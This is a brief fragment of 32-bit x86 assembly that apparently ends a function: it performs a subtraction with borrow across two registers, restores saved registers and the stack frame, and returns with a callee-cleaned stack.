add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc